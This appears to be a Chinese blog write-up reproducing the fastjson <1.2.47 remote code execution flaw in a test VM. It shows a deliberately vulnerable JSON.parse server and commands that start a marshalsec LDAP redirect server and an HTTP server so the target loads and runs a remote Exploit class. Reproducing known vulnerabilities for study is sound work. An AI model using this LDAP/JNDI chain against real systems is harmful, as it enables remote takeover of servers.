fastjson<1.2.47 RCE 漏洞复现
这两天爆出了 fastjson 的老洞,复现简单记录一下。
首先使用 spark 搭建一个简易的利用 fastjson 解析 json 的 http server。
package cn.hacktech.fastjsonserver;
import com.alibaba.fastjson.JSON;
import static spark.Spark.*;
public class Main {
public static void main(String[] args) {
get("/hello", (req, res) -> "spark server start success");
post("/test", (req, res) -> {
String payload = req.body();
JSON.parse(payload);
return "json payload:" + payload;
});
}
}
编译出来后,启动这个 jar,在 /test
这个 post 点即可 post json payload。
然后这里分两类:
- 如果只是想检测漏洞是否存在,可以使用 dnslog 去检测
- 利用的话,需要自己起一个恶意的 ldap 或者 rmi 服务
本机需要起一个 LDAP 服务和 http 服务
poc-->LDAP-->http
poc 会通过上面的路径去请求你的 http 服务上面的对应的 class 文件然后去解析执行这个 class
启动 LDAP 用的 marshalsec,会比较方便。
- 在本目录下启动 http server 在 80 端口
python -m http.server 80
- 启动 LDAP 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit
后面的 Exploit 是指 Exploit.class 文件
- 运行 PoC,它会请求 LDAP 服务,或者直接把 json payload post 到
/test
java -cp fastjson-1.2.47.jar; PoC
其中代码编译的话,直接执行 javac the.java
即可,不过 PoC.java 的编译需要引入 fastjson jar 包,运行 javac -cp ./fastjson-1.2.47.jar PoC.java
具体的细节可见代码打包文件
复现遇到一些坑
这次的这个洞是有 jdk 版本要求的。
最开始我在我本机测试通过,原因是因为它请求不到 class 的时候会去本目录下进行一个查找,也就是并没有经过 http 服务器。
所以想要复现这个漏洞的话,需要 target 主机上面的 jdk 版本有严格的要求,具体见下图
所以建议复现流程是
建议复现流程
- 起一个虚拟机专门用来运行我写的那个简易的 fastjsonserver,或者你可以直接在虚拟机上面执行 PoC,关键在于 target 机器的 jdk 版本。
- 你可以在本机起 ldap/rmi 服务以及 http 服务,或者全部在虚拟机上运行也可以,但是一般真实情况下我们是在外部构造恶意的 ldap/rmi 以及 http server,所以建议这步放到虚拟机外运行。
- 根据你的网络环境修改 PoC。
- 然后 post payload 或者运行 PoC,即可看到虚拟机上弹出了计算器。
低版本的java 8u112
链接: https://pan.baidu.com/s/1Q3lGG2b4I8aTXpQbmvK2dw 提取码: 36mm
复现视频链接:复现流程.zip
fastjson<1.2.47 RCE 漏洞复现的更多相关文章
- fastjson =< 1.2.47 反序列化漏洞复现
fastjson =< 1.2.47 反序列化漏洞复现 HW期间爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升 ...
- fastjson<=1.2.47反序列化漏洞复现
0x00:前言 这个漏洞爆出来之后本来一直打算挑时间去复现,后来一个朋友突然发来他们站点存在fastjson这个漏洞被白帽子发了报告.既然漏洞环境送上门来,我便打算直接下手试一试.在我的想象中当然是一 ...
- Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现
Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: ...
- Apache Solr Velocity模板注入RCE漏洞复现
Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...
- fastjson =< 1.2.47 反序列化漏洞浅析
fastjson =< 1.2.47 反序列化漏洞浅析 iiusky 洛米唯熊 今天 文章出处: https://www.03sec.com/3240.shtmlhttps://www.secq ...
- Apache Solr JMX服务 RCE 漏洞复现
Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...
- 【Vulhub】CVE-2019-3396 Confluence RCE漏洞复现
CVE-2019-3396 Confluence RCE漏洞复现 一.环境搭建 选择的vulhub里的镜像,进入vulhub/Confluence/CVE-2019-3396目录下,执行 docker ...
- CVE-2019-5475:Nexus2 yum插件RCE漏洞复现
0x00 前言 如果有想一起做漏洞复现的小伙伴,欢迎加入我们,公众号内点击联系作者即可 提示:由于某些原因,公众号内部分工具即将移除,如果有需要的请尽快保存 0x01 漏洞概述 最近hackerone ...
- Apache Flink 任意 Jar 包上传致 RCE 漏洞复现
0x00 简介 Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布.数据通信以及容错机制等功能.基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任 ...
随机推荐
- T-MAX组--项目冲刺(第四天)
THE FOURTH DAY 项目相关 作业相关 具体描述 所属班级 2019秋福大软件工程实践Z班 作业要求 团队作业第五次-项目冲刺 作业正文 T-MAX组--项目冲刺(第四天) 团队名称 T-M ...
- 深度学习面试题29:GoogLeNet(Inception V3)
目录 使用非对称卷积分解大filters 重新设计pooling层 辅助构造器 使用标签平滑 参考资料 在<深度学习面试题20:GoogLeNet(Inception V1)>和<深 ...
- 范仁义html+css课程---2、html常用标签
范仁义html+css课程---2.html常用标签 一.总结 一句话总结: html常用的标签有 标题标签.div.span.p.hr.br标签 等 1.html中的标题标签有哪些? <h1& ...
- Android.mk文件LOCAL_MODULE_TAGS 说明
在移植wireless_tools驱动的时候发现居然没去编译咱的代码,奇怪,后来发现只有LOCAL_MODULE_TAGS 选项这个最有可疑,后来发现有这个说法 LOCAL_MODULE_TAGS : ...
- composer.lock文件的作用
在使用composer后目录中会出现2个文件,composer.lock和composer.json,现在来说说这两个文件的作用. 1.composer.json composer.json文件中保存 ...
- Android 调用.Net WCF服务 .
本来以为在java平台上用axis2生成了客户端代理类然后移植到Android平台上就好了.没想到在移植过程中出现了很多问题.说明JVM和android的DVM差距还是很大的. JVM执行的是clas ...
- Typescript中的可索引接口 类类型接口
/* 5.typeScript中的接口 可索引接口 类类型接口 */ /* 接口的作用:在面向对象的编程中,接口是一种规范的定义,它定义了行为和动作的规范,在程序设计里面,接口起到一种限制和规范的作用 ...
- nginx多层反向代理获取客户端真实ip
访问路径: 用户 --> www.chinasoft.cn(nginx反向代理) --> www.chinasoft.com(nginx反向代理) --> python服务端程序 经 ...
- html两端对齐的代码
html语言两端对齐的代码为: <p style="text-align:justify; text-justify:inter-ideograph;"> 文字,需要对 ...
- 深入Resource实现多语言支持的应用详解
首先为假设有一个应用程序CAStudy,接着右键添加一个资源文件Resource1.resx. Resource1.resx里面如下: Main函数如下:static void Main(){ ...